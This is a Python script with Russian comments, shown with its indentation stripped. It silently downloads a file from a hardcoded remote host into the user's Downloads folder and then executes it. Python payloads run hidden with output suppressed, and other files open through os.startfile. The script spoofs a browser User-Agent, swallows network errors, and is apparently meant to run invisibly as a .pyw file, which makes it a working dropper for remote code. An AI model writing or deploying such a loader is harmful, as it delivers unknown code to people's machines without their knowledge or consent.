import os
import sys
import subprocess
from pathlib import Path
from urllib.request import urlopen, Request
URL = "https://encrypted.xo.je/download"
def get_filename(url, resp):
cd = resp.headers.get("Content-Disposition", "")
if "filename=" in cd:
# Берем часть после filename=, очищаем от кавычек, пробелов и точек с запятой
filename_part = cd.split("filename=")[-1]
filename = filename_part.strip('"\' ;')
# .name защищает от попыток подменить путь через ../../
return Path(filename).name
return Path(url).name or "downloaded"
def main():
downloads = Path.home() / "Downloads"
downloads.mkdir(parents=True, exist_ok=True)
initial_name = Path(URL).name or "downloaded"
path = downloads / initial_name
# 1. Логика скачивания (многоразовая)
if not path.exists():
req = Request(URL, headers={"User-Agent": "Mozilla/5.0"})
try:
with urlopen(req, timeout=30) as r:
real_name = get_filename(URL, r)
if real_name != initial_name:
path = downloads / real_name
# Скачиваем только если итогового файла всё ещё нет
if not path.exists():
# ИСПРАВЛЕНИЕ 1: Чтение чанками (кусками), чтобы не забивать оперативную память,
# если файл окажется большим. r.read() грузит всё сразу.
with open(path, "wb") as f:
while True:
chunk = r.read(8192)
if not chunk:
break
f.write(chunk)
except Exception:
# Тихо игнорируем ошибки сети (нет интернета, таймаут), чтобы .pyw не крашился
pass
# 2. Логика запуска (многоразовая)
if path.exists():
if path.suffix.lower() in (".py", ".pyw"):
# ИСПРАВЛЕНИЕ 2: DEVNULL гарантирует, что если скачанный скрипт что-то выведет,
# это не вызовет мерцание консоли или ошибки в фоновом .pyw процессе.
subprocess.run(
[sys.executable, str(path)],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
# Работает только в Windows, открывает файл ассоциированной программой
os.startfile(str(path))
if __name__ == "__main__":
main()